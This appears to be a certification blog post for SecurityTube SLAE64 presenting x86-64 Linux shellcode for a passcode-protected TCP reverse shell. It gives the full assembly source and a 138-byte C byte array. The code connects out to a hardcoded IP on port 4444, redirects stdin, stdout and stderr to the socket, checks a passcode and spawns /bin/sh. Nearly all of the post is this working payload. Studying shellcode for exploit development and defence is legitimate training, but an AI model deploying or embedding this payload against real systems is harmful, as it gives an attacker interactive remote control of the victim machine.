[SLAEx64] II tcp_reverse_shell with passcode

Source: SecurityTube

This is x64 bits tcp reverse shell with passcode, if you need more explications, please check my post about x32 bits reverse shell, where you can found man about *nix socket programing

shell asm source

; Author Andriy Brukhovetskyy - doomedraven - SLAEx64 - 1322
; 138 bytes
global _start
section .text
_start:

    ;socket syscall
    push byte 0x29 ; 41 socket 
    pop rax    
    push byte 0x2 ; AF_INET
    pop rdi  
    push byte 0x1 ; SOCK_STREAM
    pop rsi    
    cdq ;rdx = 0 - ANY
    syscall
    
    xchg rdi, rax ; save socket descriptor
    
    mov dword [rsp-4], 0x0901a8c0 ; ip
    mov word [rsp-6], 0x5c11      ; port 4444
    mov byte [rsp-8], 0x02
    sub rsp, 8
    
    push byte 0x2a ; connect
    pop rax
    mov rsi, rsp   ; pointer    
    push byte 0x10 ; len
    pop rdx
    syscall

    push byte 0x3; counter 
    pop rsi

dup2_loop:
    dec rsi
    push byte 0x21
    pop rax
    syscall
    jnz dup2_loop ; jump if not 0

    ;read buffer
    mov rdi, rax ; socket
    cdq
    mov byte [rsp-1], al ;0 read
    sub rsp, 1
          
    push rdx 
    lea rsi, [rsp-0x10] ; 16 bytes from buf
    add dl, 0x10        ; size_t count
    syscall
    
    ;test passcode
    mov rax, 0x617264656d6f6f64 ; passcode 'doomedra'[::-1].encode('hex')
    push rdi                    ; save the socket
    lea rdi, [rsi]              ; load string from address
    scasq                       ; compare
    jz accepted_passwd          ; jump if equal
    
    ;exit if different :P
    push byte 0x3c 
    pop rax
    syscall

accepted_passwd:
    
    ;execve
    pop rdi; socket
    xor rax, rax
    mov rbx, 0x68732f2f6e69622f ;/bin//sh in reverse
    push rbx
    mov rdi, rsp
    push rax
    mov rdx, rsp
    push rdi 
    mov rsi, rsp
    add al, 0x3b
    syscall

C output

// 138 bytes 
unsigned char code[] =\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05"
"\x48\x97\xc7\x44\x24\xfc"
"\xc0\xa8\x01\x09" //ip big endiant
"\x66\xc7\x44\x24\xfa"
"\x11\x5c" //port big endiant
"\xc6\x44\x24\xf8\x02\x48\x83"
"\xec\x08\x6a\x2a\x58\x48\x89\xe6\x6a\x10\x5a\x0f"
"\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05"
"\x75\xf6\x48\x89\xc7\x99\x88\x44\x24\xff\x48\x83"
"\xec\x01\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10\x0f"
"\x05\x48\xb8\x64\x6f\x6f\x6d\x65\x64\x72\x61\x57"
"\x48\x8d\x3e\x48\xaf\x74\x05\x6a\x3c\x58\x0f\x05"
"\x5f\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x2f"
"\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48"
"\x89\xe6\x04\x3b\x0f\x05";

Examples:

Correct passwd

Incorrect passwd

This shellcode was accepted to shell-storm.org and can be found here, special thank to @JonathanSalwan for accept it :)

SLAE64 - 1322

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

SecurityTube Linux Assembly Expert x64